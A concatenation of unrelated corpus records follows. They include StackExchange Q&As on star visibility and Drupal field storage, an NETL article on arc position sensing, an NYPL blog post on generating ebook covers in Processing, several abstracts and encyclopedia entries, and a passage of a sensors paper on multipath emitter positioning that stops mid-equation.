end program foo
| {
"pile_set_name": "StackExchange"
} |
Q:
More stars visible from the Australian outback than anywhere else on earth?
An ad for Vodafone in Cairns airport, Australia, presents as a fact "worth ringing home about" that you can see more stars from the Australian outback than anywhere else on earth.
While the Australian outback would have less light pollution and less humidity than some places, I'm doubtful about this claim because if the outback is a good place to see stars, it'd also be a good place to build optical telescopes, and I don't think the Australian outback has a lot of optical telescopes. I thought that most optical telescopes these days are being built in mountainous areas such as Hawaii.
Are more stars visible with the naked eye from the Australian outback than anywhere else on earth?
A:
The relevant paper seems to be "Cinzano, P., Falchi, F., Elvidge C.D. 2001, The first world atlas of the artificial night sky brightness". It gives numerical data per country and as of excellent observation conditions Australia is in the list of many other countries who are also pretty good.
In table 1 they give numbers of how many percent of the population of every country have excellent viewing conditions. Unfortunatley, Australia is not the best location. But these are only percentages, so with a little work you might figure out absolute numbers.
However, viewing conditions not only depend on light pollution (which is the Bortle Dark-Sky Scale), but also on the 'seeing' which is influenced by turbulences in the atmosphere, humidity and such like (compare http://en.m.wikipedia.org/wiki/Astronomical_seeing)
That's why people bothered building telescopes in Chile's Atacama desert in the first place.
So, Vodafone has a claim, but it's only half the truth if you're talking about naked eye visibity - other locations are good too.
Source:
http://www.inquinamentoluminoso.it/cinzano/download/0108052.pdf
| {
"pile_set_name": "StackExchange"
} |
Revolutionizing the Art of Metal Fabrication
Contrary to that old cooking adage, “a watched pot never boils,” keeping a careful eye on things—in the kitchen or in the laboratory—can be essential to making a useable (or edible!) final product. Take chocolate, for instance, that foundational block of the food pyramid. An important part of creating high-grade chocolate is a step called tempering, or the melting, stirring, and cooling of the liquid chocolate to align the crystals that give it a smooth texture and a glossy shine. One of the key senses chocolatiers use to monitor tempering is sight, giving them information on the thickness and color of the batch to make sure it tempers evenly as it cools.
But what if they had to do it blind?
For many years, that’s exactly what has been happening in metallurgy laboratories across the world. While the crafting of specialty metal alloys, like titanium or zirconium, can be far more complex than making chocolate, metals are often put through a process that is somewhat akin to chocolate tempering—vacuum arc remelting (VAR). VAR is an important step in metal fabrication, the process by which the chemical and physical homogeneity of the material is refined to ensure a quality end-product.
During the process, electrical power is used to heat a consumable electrode by means of an electric arc—a luminous electrical discharge like a lightning strike—and the melting material drops into a water-cooled copper crucible. Like chocolate, flaws in specialty metals are often caused by solidification problems that arise during the melting and refining process—problems that can lead to failure of the final product. Unlike chocolate, these products are often used in aerospace and aviation applications, where lives can depend on the quality of the metal components that make up their vehicles.
Previously, the conditions that cause flaws in the alloys could not be identified during furnace operations, requiring manufacturers to perform extensive testing on the resulting ingots to test for safe levels of homogeneity. However, a new process developed by NETL metallurgists, called arc position sensing (APS), allows operators to digitally monitor arc location during VAR processing. Being able to “see” the arcs during melting helps the engineer to control them and the melting process to produce consistently defect-free materials—something that was not possible prior to the development of this technology.
The APS system has the potential to revolutionize the fabrication of specialty metals. Adoption of this technology can improve the quality of the ingots produced and reduce the amount ingot testing required, saving manufacturers millions of dollars. In addition, APS could also lead to the production of materials with better chemical homogeneity, resulting in higher performance alloys.
This patented and award-winning technology has been licensed by AmpSci, an Oregon-based company founded by the technology’s inventors. Researchers at AmpSci are working to further develop the technology for widespread commercial deployment to the specialty metals industry. You can learn more about this NETL success story here. | {
"pile_set_name": "Pile-CC"
} |
Getting serious about the social determinants of health: new directions for public health workers.
International interest in the social determinants of health and their public policy antecedents is increasing. Despite evidence that as compared to other wealthy nations Canada presents a mediocre population health profile and public policy environments increasingly less supportive of health, the Canadian public health gaze is firmly - and narrowly - focused on lifestyle issues of diet, physical activity and tobacco use. Much of this has to do with Canada being identified as being driven by a liberal political economy, a situation shared with a cluster of other developed nations. Reasons for Canada's neglect of structural and public policy issues are explored and ways by which public health workers in Canada and elsewhere can help to shift policymakers and the general public's understandings of the determinants of health are outlined. | {
"pile_set_name": "PubMed Abstracts"
} |
Finding better covers for public domain ebooks
Here at NYPL Labs we’re working on an ebook-borrowing and reading app. On the technical side, Leonard Richardson is doing all the back end magic, consolidating multiple data sources for each book into a single concise format: title, author, book cover and description. John Nowak is writing the code of the app itself (that you will be able to download to your phone). I am doing the design (and writing blog posts). Many of the ebooks we will be offering come from public domain sites such as Project Gutenberg. If you spend a few minutes browsing that site you will notice that many of its ebooks either have a really crappy cover image or none at all:
Book covers weren’t a big deal until the 20th century, but now they’re how people first interact with a book, so not having one really puts a book at a disadvantage. They are problematic, and not only in ebooks. It’s difficult to find high-quality, reusable covers of out-of-print or public domain books. There are some projects such as Recovering the Classics that approach this problem in interesting ways. However, we at NYPL are still left with very limited (and expensive) solutions to this problem.
Given that the app’s visual quality is highly dependant on ebook cover quality (a wall of bad book covers makes the whole app look bad) we had to have a solution for displaying ebooks with no cover or a bad cover. The easy answer in this situation is doing what retail websites do for products with no associated image: display a generic image.
This is not a very elegant solution. When dealing with books, it seems lazy to have a “nothing to see here” image. We will have at least a title and an author to work with. The next obvious choice is to make a generic cover that incorporates the book’s title and author. This is also a common choice in software such as iBooks:
Skeuomorphism aside, it is a decent book cover. However, it feels a bit cheesy and I wanted something more in line with the rest of the design of the app (a design which I am leaving for a future post). We need a design that can display very long titles (up to 80 characters) but that would also look good with short ones (two or three characters); it should allow for one credited author, multiple authors or none at all. I decided on a more plain and generic cover image:
Needless to say this didn’t impress anyone; which is OK because the point was not to impress; we needed a cover that displayed author and title information and was legible to most people and this checked every box… but… at the same time… wouldn’t it be cool if…
10 PRINT “BOOK COVER”
While discussing options for doing a better generative cover I remembered 10 PRINT, a generative-art project and book led by Casey Reas that explores one line of Commodore 64 (C64) code:
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
This code draws one of two possible characters (diagonal up or diagonal down) on the screen at random, over and over again. The C64 screen can show up to 40 characters in a row. The end result is a maze-like graphic like the one seen in this video:
At the 2012 Eyeo festival, Casey Reas talked about this project, which involves nine other authors who are collected in this book. I highly recommend watching Reas’s presentation (link jumps to 30:11 when 10 PRINT is mentioned). The two characters–diagonal up and diagonal down–come from the C64 PETSCII character list which is laid out here on the Commodore keyboard:
Each key on the PETSCII keyboard has a geometric shape associated with it. These shapes can be used to generate primitive graphics in the C64 operating system. For example, here is a rounded rectangle (I added some space to make it easier to see each character):
In terms of the letters on the same keyboard, that rectangle looks like this:
UCCCI B B B B JCCCK
10 PRINT was the starting point for my next ebook cover generator. In 10 PRINT a non-alphanumeric character is chosen by a random “coin toss” and displayed as a graphic. In my cover generator, a book’s title is transformed into a graphic. Each letter A-Z and digit 0-9 is replaced with its PETSCII graphic equivalent (e.g. the W gets replaced with an empty circle). I used Processing to quickly create sketches that allowed for some parameter control such as line thickness and grid size. For characters not on the PETSCII “keyboard” (such as accented Latin letters or Chinese characters) I chose a replacement graphic based on the output of passing the character into Processing’s int() function.
Colors and fonts
In order to have a variety of colors across the books, I decided to use the combined length of the book title and the author’s name as a seed number, and use that seed to generate a color. This color and its complementary are used for drawing the shapes. Processing has a few functions that let you easily create colors. I used the HSL color space which facilitates generating complementary colors (each color, or hue in HSL parlance, is located in a point on a circle, its complementary is the diametrically opposite point). The gist code:
int counts = title.length() + author.length(); int colorSeed = int (map(counts, 2 , 80 , 30 , 260 )); colorMode(HSB, 360 , 100 , 100 ); shapeColor = color(colorSeed, baseSaturation, baseBrightness-(counts% 20 )); baseColor = color((colorSeed+ 180 )% 360 , baseSaturation, baseBrightness);
This results in something like:
To ensure legibility and avoid clashes with the generated colors, I always use black on white for text. I chose Avenir Next as the font. The app as a whole uses that font for its interface, it’s already installed on the OS and it contains glyphs for multiple languages.
There are more (and better) ways to create colors using code. I didn’t really go down the rabbit hole here but if you feel so inclined, take a look at Herman Tulleken’s work with procedural color palettes, Rob Simmon’s extensive work on color, or this cool post on emulating iTunes 11’s album cover color extractor.
Shapes
I created a function that draws graphic alternate characters for the letters A-Z and the digits 0-9. I decided to simplify a few graphics to more basic shapes: the PETSCII club (X) became three dots, and the spade (A) became a triangle.
I wrote a function that draws a shape given a character k , a position x,y and a size s . Here you can see the code for drawing the graphics for the letter Q (a filled circle) and the letter W (an open circle).
void drawShape( char k, int x, int y, int s) { ellipseMode(CORNER); fill(shapeColor); switch (k) { case 'q' : case 'Q' : ellipse(x, y, s, s); break ; case 'w' : case 'W' : ellipse(x, y, s, s); s = s-(shapeThickness* 2 ); fill(baseColor); ellipse(x+shapeThickness, y+shapeThickness, s, s); break ; } }
My cover generator calls drawShape repeatedly for each character in a book’s title. The size of the shape is controlled by the length of the title: the longer the title, the smaller the shape.
Each letter in the title is replaced by a graphic and repeated as many times as it can fit in the space allotted. The resulting grid is a sort of visualization of the title; an alternate alphabet. In the example below, the M in “Macbeth” is replaced by a diagonal downwards stroke (the same character used to great effect in 10 PRINT). The A is replaced by a triangle (rather than the club found on the PETSCII keyboard). The C becomes a horizontal line offset from the top, the B a vertical line offset from the left, and so on. Since the title is short, the grid is large, and the full title is not visible, but you get the idea:
There is a Git repository for this cover generator you can play with.
Some more examples (notice how “Moby Dick”, nine characters including the space, does fit in the 3x3 grid below and how the M in “Max” is repeated):
MOB Y D ICK
MA XM
And so on:
The original design featured the cover on a white (or very light) background. This proved problematic, as the text could be dissociated from the artwork, so we went for a more “enclosed” version (I especially like how the Ruzhen Li cover turned out!):
We initially thought about generating all these images and putting them on a server along with the ebooks themselves, but 1) it is an inefficient use of network resources since we needed several different sizes and resolutions and 2) when converted to PNG the covers lose a lot of their quality. I ended up producing an Objective-C version of this code (Git repo) that will run on the device and generate a cover on-the-fly when no cover is available. The Obj-C version subclasses UIView and can be used as a fancy-ish “no cover found” replacement.
Cover, illustrated
Of course, these covers do not reflect the content of the book. You can’t get an idea of what the book is about by looking at the cover. However, Leonard brought up the fact that many Project Gutenberg books, such as this one, include illustrations embedded as JPG or PNG files. We decided to use those images, when they are available, as a starting point for a generated cover. Our idea is to generate one cover for each illustration in a book and let people decide which cover is best using a simple web interface.
I tried a very basic first pass using Python (which I later abandoned for Processing):
This lacks personality and becomes problematic as titles get longer. I then ran into Chris Marker and Jason Simon’s work, and was inspired:
I liked the desaturated color and emphasis on faces. Faces can be automatically detected in images using computer-vision algorithms, and some of those are included in OpenCV, an open-source library that can be used in Processing. Here’s my first attempt in the style of Marker and Simon, with and without face detection added:
I also tried variations on the design, adding or removing elements, and inverting the colors:
Since Leonard and I couldn’t agree on which variation was best, we decided to create a survey and let the people decide (I am not a fan of this approach, which can easily become a 41 shades of blue situation but I also didn’t have a compelling case for either version). The clear winner was, to my surprise, using inverted colors and no face detection:
The final Processing sketch (Git repo) has many more parameters than the 10 PRINT generator:
Conclusion
As with many subjects, you can go really deep down the rabbit hole when it comes to creating the perfect automated book cover. What if we detect illustrations vs. photographs and produce a different style for each? What about detecting where the main image is so we can crop it better? What if we do some OCR on the images to automatically exclude text-heavy images which will probably not work as covers?
This can become a never-ending project and we have an app to ship. This is good enough for now. Of course, you are welcome to play with and improve on it: | {
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William Clark (congressman)
William Clark (February 18, 1774 – March 28, 1851) was a farmer, jurist, and politician from Dauphin, Pennsylvania.
Biography
He served as secretary of the Pennsylvania land office from 1818 to 1821, and State treasurer from 1821 to 1827. He was Treasurer of the United States from June 4, 1828 to November 1829.
Clark was elected as an Anti-Masonic candidate to the Twenty-third and Twenty-fourth Congresses. He was a member of the State constitutional revision commission in 1837. After Congress, he engaged in agricultural pursuits and died near Dauphin in 1851. He was interred in English Presbyterian Cemetery.
External links
The Political Graveyard
References
Category:1774 births
Category:1851 deaths
Category:People from Dauphin County, Pennsylvania
Category:Anti-Masonic Party members of the United States House of Representatives from Pennsylvania
Category:19th-century American politicians
Category:Treasurers of the United States
Category:Pennsylvania state court judges
Category:People from Pennsylvania in the War of 1812 | {
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Determination of seven free anabolic steroid residues in eggs by high-performance liquid chromatography-tandem mass spectrometry.
A cheap, reliable and practical high-performance liquid chromatography-tandem mass spectrometric method was developed for the simultaneous determination of seven anabolic steroids in eggs, including trenbolone, boldenone, nandrolone, stanozolol, methandienone, testosterone and methyl testosterone. The analytes were extracted from the egg samples using methanol. The extracts were subjected to the removal of fat by freezing-lipid filtration and then further purified by liquid-liquid extraction using tert-butyl methyl ether. The analytes were separated on a Luna C18 column by a gradient elution program with 0.1% formic acid and acetonitrile. This method was validated over 1.00-100 ng/g for all steroids of interest. The correlation coefficients (r) for each calibration curve are higher than 0.99 within the experimental concentration range. The decision limits of the steroids in eggs ranged from 0.20 to 0.44 ng/g, and the detection capabilities were below 1.03 ng/g. The average recoveries were between 66.3 and 82.8% in eggs at three spiked levels of 1.00, 1.50 and 2.00 ng/g for each analyte. The between-day and within-day relative standard deviations were in the range of 2.4-11%. High matrix suppression effects were observed for all compounds of interest. | {
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2018 Sindh provincial election
Provincial elections were held in Sindh on 25 July 2018 to elect the members of the 13th Provincial Assembly of Sindh.
Background
Following the 2013 elections, despite a significant drop in vote share, the left-wing Pakistan Peoples Party remained the largest party in the assembly and held a comfortable majority with 91 seats. They were followed by the secularist, Muhajir-centric, Muttahida Qaumi Movement, which repeated its 2008 exploits, by securing 51 seats. New additions into the assembly included Pakistan Tehreek-e-Insaf, a welfarist, anti-establishment party led by former cricketer Imran Khan, who emerged as the second largest party in Karachi and gained 4 seats. Meanwhile, Pakistan Muslim League (F), PPP's perennial rival in Interior Sindh, held 11 seats.
Following the elections for the slot of chief ministership, Pakistan Peoples Party was easily able to form a government in Sindh for the ninth time in its existence. Party veteran Qaim Ali Shah was elected in the role of provincial chief minister for the third time in his career, and remained at the position until 2016 when he stepped down and was replaced by Syed Murad Ali Shah.
MQM Splits
During this tenure, MQM ceased to exist as single party due to internal rifts in the wake of the party's leader, Altaf Hussain, giving a controversial speech in August, 2016. It split into MQM-Pakistan and MQM-London, the former in control of Farooq Sattar, while the latter managed by Hussain, who is in self-imposed exile in London since 1991.
Meanwhile, Mustafa Kamal's nascent Pak Sarzameen Party chipped away at MQM-P members. Kamal himself being a former MQM stalwart and erstwhile Mayor of Karachi, who formed the PSP on 23 March 2016.
Further still, in the lead up to 2018 Senate elections, the MQM-P faction saw another split - into Sattar's MQM-PIB and Aamir Khan's MQM-Bahadruabad. The reason for the split being grievances over the allotment of Senate tickets.
Results
election postponed at ps-94 after the death of MQM-P incumbent
References
Category:2018 elections in Pakistan
2018 | {
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Despite many claims to the contrary, North Korea tensions aren't actually what's driving the rally in gold, Goldman Sachs said in a Tuesday note.
Instead, the bank said, uncertainty inspired by President Donald Trump has boosted the yellow metal — but that's set to fade.
Spot gold has certainly rallied of late, climbing from levels under $1,212 an ounce in July to as high as $1,342.90 this week, touching its highest levels in around a year, according to Reuters data.
Gold, which traditionally acts as a safe-haven play when investors turn nervous, was at $1,338.50 an ounce at 9:41 a.m. HK/SIN on Wednesday.
Some of the metal's gains have coincided with increased tensions on the Korean Peninsula, including when North Korea claimed a successful hydrogen bomb test on Sunday.
Goldman, however, didn't think the gold rally was unrelated to the North Korean tensions, just that it only explained around $15 of the more than $100 rally.
"We find that the events in Washington over the past two months play a far larger role in the recent gold rally followed by a weaker ," it said, adding that's the reason the yellow metal likely wouldn't hold its gains.
Barring a "substantial" escalation of North Korean tensions, Goldman said it was sticking with an end-of-year gold forecast of $1,250 an ounce. | {
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Q:
Mark deletion on custom fields
I am using mongodb as the backend for the node_save functionality and I have migrated my custom fields. So for every node save it calls the hook_field_storage_write() . Thus the data is saved in the mysql and then calls the mongodb implementation. This hook inserts the document in mongodb and calls the mongodb_migrate_write_helper. In the function the migrated fields are set with the value of deleted column as 2.
Thus if I have migrated a field 'field_email' from mysql to mongodb the mongodb_migrate_write_helper sets the field_email for the entity as deleted = 2. What does the deleted flag do? Are the rows marked as deleted = 2 deleted in a specific point of time or by some hook calls? . I have seen in many instances in the core modules where deleted is set as 1. Are there any purge scripts that are run at specific points of time for deletion of fields marked as deleted.
function mongodb_migrate_write_helper($entity_type, $entity_id) {
$migrate_fields = variable_get('mongodb_migrate_fields', array()); // Migrated field names are stored in variable.
foreach ($migrate_fields as $field_name => $v) {
$field = field_info_field($field_name);
db_update(_field_sql_storage_tablename($field))
->fields(array('deleted' => 2))
->condition('entity_type', $entity_type)
->condition('entity_id', $entity_id)
->execute();
}
}
A:
The deleted column in a field table is:
A boolean indicating whether this data item has been deleted
Therefore the only valid values are 0 and 1. Or, at least, 0 == false, and anything else is equivalent, and == true.
You'd need to ask the module developers for their motivation to be 100% sure why they're bucking the trend there and using '2' instead, but maybe it's some sort of hack to exclude certain records from being queried with WHERE deleted = 1, but still available for WHERE deleted > 0. Not sure though, that's just a guess.
As for what it does: it simply marks a record as deleted, so it won't be included in query results, and can be moved into a deleted data table, from which it's subsequently removed on cron runs.
| {
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1. Introduction {#sec1-sensors-18-00892}
===============
We are interested in high precision positioning for shortwave signal sources in this paper. Two-step methods, such as the Angle Of Arrival (AOA) method, were usually used for shortwave signal positioning, and the methods provided a poor performance in a low Signal Noise Ratio (SNR) scenario. It has been shown that available prior knowledge on deterministic multi-path components can be beneficial for localization \[[@B1-sensors-18-00892]\]. Kietlinski-Zaleski Jan presented techniques to benefit from signal reflections from known indoor features such as walls \[[@B2-sensors-18-00892]\]. Inspired by those ideas, we propose a novel geolocation system architecture to locate the shortwave sources. This new architecture, termed "Multiple Transponders and Multiple Receivers for Multiple Emitters Positioning System (MTRE)", uses multiple transponders and receivers with known locations to locate multiple narrow band signals. The raw signals are transferred "in band" (i.e., as a man-made multi-path) by the transponders, and there is no need for a network infrastructure or an out-of-band channel bandwidth, which are required in an up/down converter system. In order to avoid the interference between the receiving and the sending signals of a transponder, we use different polarization modes to isolate the signals. In an MTRE system, man-made multiple paths from an emitter to a receiver are made to improve the positioning precisions and extending the positioning range.
Multi-path propagation is a really important problem in outdoor and indoor positioning systems, and it is still the main source of estimation errors for range-based indoor localization approaches \[[@B3-sensors-18-00892],[@B4-sensors-18-00892]\]. The recent research in dealing with multi-path either tries to detect these situations statistically based on the received signals \[[@B5-sensors-18-00892],[@B6-sensors-18-00892]\] or to directly mitigate the corresponding errors with statistical techniques \[[@B7-sensors-18-00892],[@B8-sensors-18-00892]\]. Some algorithms for indoor localization make use of, e.g., the cooperation of multiple agents to overcome multi-path situations \[[@B9-sensors-18-00892]\]. Arrays were used for beam-forming to separate signals from different directions, and the multi-path positioning problem is simplified into a single path positioning problem \[[@B10-sensors-18-00892],[@B11-sensors-18-00892]\]. Furthermore, location fingerprinting, e.g., Received Signal Strength (RSS)-based methods, has been widely used in harsh environments \[[@B12-sensors-18-00892],[@B13-sensors-18-00892]\]. It makes use of a priori training signals in multiple regions of the environment to train a classification algorithm \[[@B14-sensors-18-00892]\]. However, the required training phase, as well as the missing flexibility w.r.t. changes in the environment may limit its application.
Most of the above literature focused on the UWB signals and indoor positioning applications, and two-step approaches were adopted to locate the emitters. The very high bandwidth of the UWB signal translates into very good time resolution and makes the UWB signal resistant to multi-path. It is possible to extract parameters, e.g., RSS, Time Of Arrival (TOA), AOA, Time Difference Of Arrival (TDOA) and Frequency Difference Of Arrival (FDOA), from UWB signals in the presence of multi-path propagation and to locate the emitter based on those parameters \[[@B15-sensors-18-00892],[@B16-sensors-18-00892]\]. However, narrow-band systems have a low time resolution, and it is difficult to get the measurements in the first step.
The Direct Position Determination (DPD) methods were proposed in \[[@B17-sensors-18-00892]\] for single narrow band signal positioning and in \[[@B18-sensors-18-00892]\] for multiple narrow band signal positioning. A DPD approach collects data at all sensors together and uses both the array responses and the Times Of Arrival (TOA) at each array, in contradiction with the two separate steps: parameter measuring and location determination. From the optimization theory point of view, two-step methods are sub-optimal, since the parameter estimation in the first phase is done independently, without considering the constraints that the measurements must correspond to the same source position. DPD methods overcame the problem of associating estimated parameters with their relevant sources and was shown to outperform two-step methods, especially in low SNR scenarios \[[@B19-sensors-18-00892]\].
There have been only a few attempts to improve the accuracy of emitter positioning in the presence of multi-path propagation under the DPD framework. Most of the existing DPD methods were developed for a single-path channel in which the multi-path was modeled as additive noise \[[@B20-sensors-18-00892]\]. In \[[@B20-sensors-18-00892]\], the single path DPD was tested with a channel with two paths scenario and showed improved performance over two-step methods. The DPD with small local scattering was studied in \[[@B21-sensors-18-00892],[@B22-sensors-18-00892]\]. In a scattering scenario, sensors were affected by a set of virtual emitters, which were placed randomly in close proximity to the real emitter. It was assumed that the positions of the virtual emitters were i.i.d, and each position forms a 3D Gaussian distribution. Odel Bialer and Dan Paphaeli and Anthony J. Weiss \[[@B23-sensors-18-00892],[@B24-sensors-18-00892]\] proposed a positioning algorithm for a dense multipath environment. Each received signal was obtained by convolving the transmitted pulse with a channel impulse response, and only the first arrival cluster (the direct path) was taken into consideration in their work. The signals reflected from other objects were not modeled in their work.
Papakonstantinou and Slock \[[@B25-sensors-18-00892],[@B26-sensors-18-00892]\] considered a simplified single-bounce multipath model. The model assumed that the transmitted signal did not bounce over more than one scatter. They jointly estimated the position of the target and scatters. They studied the single emitter positioning problem in the presence of multi-path propagation and assumed that the waveform of signal and path attenuations were known in advance. Miljko and Vucic \[[@B27-sensors-18-00892]\] proposed a novel direct geolocation of an Ultra WideBand (UWB) source in the presence of multi-path using the MUltiple SIgnal Classification (MUSIC) method and focusing matrices. Only one emitter was taken into consideration, and the path attenuations are known in advance in their work. Bar-Shalom et al. \[[@B28-sensors-18-00892],[@B29-sensors-18-00892]\] proposed a transponder-added Single Platform Geolocation (SPG) model. A single emitter and single receiver were assumed in the SPG model. They stated that the SPG model achieved a similar performance to the multiple-RX DPD algorithm. The multiple-RX DPD algorithm mentioned in their works assumed that the transponders were replaced by the receivers directly. In a weak signal location application, a single receiver cannot receive signals from all transponders stably. Some paths may be blocked or disrupted. Multiple emitters, multiple transponders and multiple receivers need to be taken into consideration in a weak signal positioning application.
All unknown parameters should be estimated together in a DPD model, and this leads to a large-scale parameter searching. MUSIC methods calculate the spatial spectrum of each candidate position rather than the combinations of all emitter positions. Amar et al. \[[@B30-sensors-18-00892]\] studied that multiple known and unknown radio-frequency signals under the LoS (Line of Sight) channel assumption. A simplified MUSIC algorithm was adopted to avoid the large-scale parameter searching. The cost function in \[[@B30-sensors-18-00892]\] maximized the projection of the array manifold onto the signal subspace rather than minimizing the projection onto the noise subspace. The simplified cost function took advantage of the maximization of the convex Quadratic Programming (QP) with linear constraints, and the eigenvalue structure was adopted to avoid the searching of path attenuation parameters in their work. The simplified MUSIC worked well in an LoS propagation context, but it had a poor performance in a multi-path propagation scenario due to the singularity of the array manifold. Minimizing the projection of the array manifold onto the noise subspace overcomes the shortcomings of a signal subspace projection method. However, the eigenvalue system fails to resolve the minimization programming.
Existing DPD methods mainly focus on narrow-band signal positioning \[[@B18-sensors-18-00892],[@B29-sensors-18-00892],[@B31-sensors-18-00892],[@B32-sensors-18-00892],[@B33-sensors-18-00892]\] and usually assume that the carrier phase does not carry the propagation delay information. Complex channel attenuations were estimated to eliminate the influence of carrier phase misalignment in a narrow-band signal positioning method. We point out that the narrow-band assumption will lose the phase information in an LoS positioning application, and it will not be able to locate emitters at all in a multi-path positioning application. We add constraints that path attenuations are nonnegative real numbers in our model. In an existing DPD model, path attenuations are complex numbers and have only one equation constraint (the norm of path attenuations is one), and the Lagrange-multiplier method is very effective at solving the optimization with equation constraints \[[@B34-sensors-18-00892]\]. However, it is difficult to solve an optimization with inequality constraints (the path attenuations should be greater than zero). We are required to design an efficient algorithm to solve the QP with inequality constraints.
The performance of a MUSIC method is determined by the precision of the covariance matrix estimation. In a time-sensitive application, the number of snapshots is not enough, and it is difficult to estimate the covariance matrix precisely. The maximum likelihood method maximizes the likelihood function of the received data rather than estimating the covariance matrix, and it achieves a better performance than that of the MUSIC method. However, the dimension of the searching space turns out to be unacceptable in the maximum likelihood method.
Our motivation is to develop a simple and accurate positioning model and corresponding algorithms for the case of unknown waveform signals and multi-path environment. We establish a Multi-path Propagation (MP)-DPD model for the scenario of multiple emitters, multiple transponders and multiple receiving arrays. It can be viewed as a modified and extended version of the SPG model proposed in \[[@B29-sensors-18-00892]\]. The MP-DPD reduces the risk of paths being blocked or disrupted and fixes the constraints on path attenuations. Multiple emitters can be simultaneously positioned in the MP-DPD model, as well. MP-MUSIC and MP-ML methods are proposed to reduce the time consumption of the optimization. The numerical results and the Cramér--Rao Lower Bound (CRLB) analysis show that the MP-MUSIC method has a lower computing complexity than MP-ML, especially in the case of a complex multipath scenario. The MP-ML method is more precise than MP-MUSIC, especially in the case of positioning with limited snapshots. An Active Set Algorithm (ASA) for the MP-MUSIC and an iterative algorithm for the MP-ML are developed to reduce the computational complexity of the methods further. Numerical results demonstrate that the MP-MUSIC and MP-ML proposed in this paper outperform the conventional methods.
The paper is organized as follows: [Section 2](#sec2-sensors-18-00892){ref-type="sec"} outlines the problem formulation, and an MP-DPD model is established in this section. The MP-MUSIC method, the MP-ML method and corresponding algorithms are proposed in [Section 3](#sec3-sensors-18-00892){ref-type="sec"} and [Section 4](#sec4-sensors-18-00892){ref-type="sec"}, Numerical performance examples of these algorithms are given in [Section 5](#sec5-sensors-18-00892){ref-type="sec"}. The final conclusions are given in [Section 6](#sec6-sensors-18-00892){ref-type="sec"}. Finally, the detailed descriptions of the ASA algorithm, the iterative algorithm for MP-ML method and the derivation of the CRLB are provided in the Appendix.
2. Problem Formulation {#sec2-sensors-18-00892}
======================
Consider that there are *D* emitters located at $\mathbf{p}_{e} = {\lbrack\mathbf{p}_{e}^{T}\left( 1 \right),\mathbf{p}_{e}^{T}\left( 2 \right),\ldots,\mathbf{p}_{e}^{T}\left( D \right)\rbrack}^{T}$ and *L* passive transponders placed at $\mathbf{p}_{t} = {\lbrack\mathbf{p}_{t}^{T}\left( 1 \right),\mathbf{p}_{t}^{T}\left( 2 \right),\ldots,\mathbf{p}_{t}^{T}\left( L \right)\rbrack}^{T}$. The signals transmitted by the emitters are reflected by the transponders and intercepted by *N* receiving arrays. Each array includes *M* antennas. The centers of the arrays are located at $\mathbf{p}_{r} = {\lbrack\mathbf{p}_{r}^{T}\left( 1 \right),\mathbf{p}_{r}^{T}\left( 2 \right),\ldots,\mathbf{p}_{r}^{T}\left( N \right)\rbrack}^{T}$. It is assumed that the locations of the transponders and the receiving arrays are known a priori and that the signal waveforms are unknown. The scenario is depicted in [Figure 1](#sensors-18-00892-f001){ref-type="fig"}.
Denote the signal propagation delay between the *d*-th emitter and the *ℓ*-th transponder by ${\overline{\tau}}_{d\ell}$. Denote:$${\widetilde{\mathbf{\tau}}}_{\ell n} = {\lbrack{\widetilde{\tau}}_{\ell n1},{\widetilde{\tau}}_{\ell n1},\ldots,{\widetilde{\tau}}_{\ell nM}\rbrack}^{T},$$ where ${\widetilde{\tau}}_{\ell nm}$ is the propagation delay between the *ℓ*-th transponder and the *m*-th antenna in the *n*-th receiving array. ${\widetilde{\mathbf{\tau}}}_{\ell n}$ is an $M \times 1$ column vector, which represents the propagation delays from the *ℓ*-th transponder to the *n*-th receiving array. ${\widetilde{\mathbf{\tau}}}_{\ell n}$ is known in advance, and it is independent of the emitter positions.
The path attenuation from the *d*-th emitter to the *n*-th receiving array, which is reflected by the *ℓ*-th transponder, is denoted by $\alpha_{d\ell n}$. The path attenuation coefficients are assumed as non-negative real numbers, and the rationality of the assumption will be discussed in detail in [Section 3.1.2](#sec3dot1dot2-sensors-18-00892){ref-type="sec"}. We assume that the antennas in a receiving array are uniform, and all antennas in an array share the same path attenuation coefficient.
The time-domain model of the signals that are received by the *n*-th receiving array is:$${\overline{\mathbf{r}}}_{n}\left( t \right) = \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}{\lbrack\alpha_{d\ell n}{\overline{\mathbf{s}}}_{d}\left( t - {\widetilde{\mathbf{\tau}}}_{\ell n} - {\overline{\tau}}_{d\ell} - t_{d} \right)\rbrack} + \overline{\mathbf{n}}\left( t \right),$$ where ${\overline{\mathbf{r}}}_{n}\left( t \right)$ is an $M \times 1$ column vector, which represents *M* snapshots at time *t* of the *n*-th receiving array. ${\overline{\mathbf{s}}}_{d}\left( \mathbf{t} \right)$ is an $M \times 1$ column vector, which represents *M* snapshots of the *d*-th source signal at time vector $\mathbf{t} \triangleq t - {\widetilde{\mathbf{\tau}}}_{\ell n} - {\overline{\tau}}_{d\ell} - t_{d}$. $\overline{\mathbf{n}}\left( t \right)$ is an $M \times 1$ noise vector at time *t*. $0 \leq t \leq T$, and $t_{d}$ is the unknown transmit time of the emitter *d*. We assume that the path attenuation, $\alpha_{d\ell n}$, remains constant during the observation time interval. This paper mainly focuses on the positioning of deterministic, but unknown signals. It is assumed that source signals are independent of one another, and there is no further requirement for the code or waveform of the signals. The frequency-domain model for the *k*-th DFT coefficients is given by:$$\mathbf{r}_{n}\left( k \right) = \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}\alpha_{d\ell n}{\widetilde{\mathbf{a}}}_{\ell n}\left( k \right)e^{- i\omega_{k}{\overline{\tau}}_{d\ell}}s_{d}\left( k \right) + \mathbf{n}\left( k \right),$$ where:$$\begin{aligned}
{{\widetilde{\mathbf{a}}}_{\ell n}\left( k \right)} & {= e^{- i\omega_{k}{\widetilde{\mathbf{\tau}}}_{\ell n}},} \\
{{\check{s}}_{d}\left( k \right)} & {= s_{d}\left( k \right)e^{- i\omega_{k}t_{d}},} \\
\omega_{k} & {= \frac{2\pi k}{T},} \\
k & {= 1,2,\cdots,K,} \\
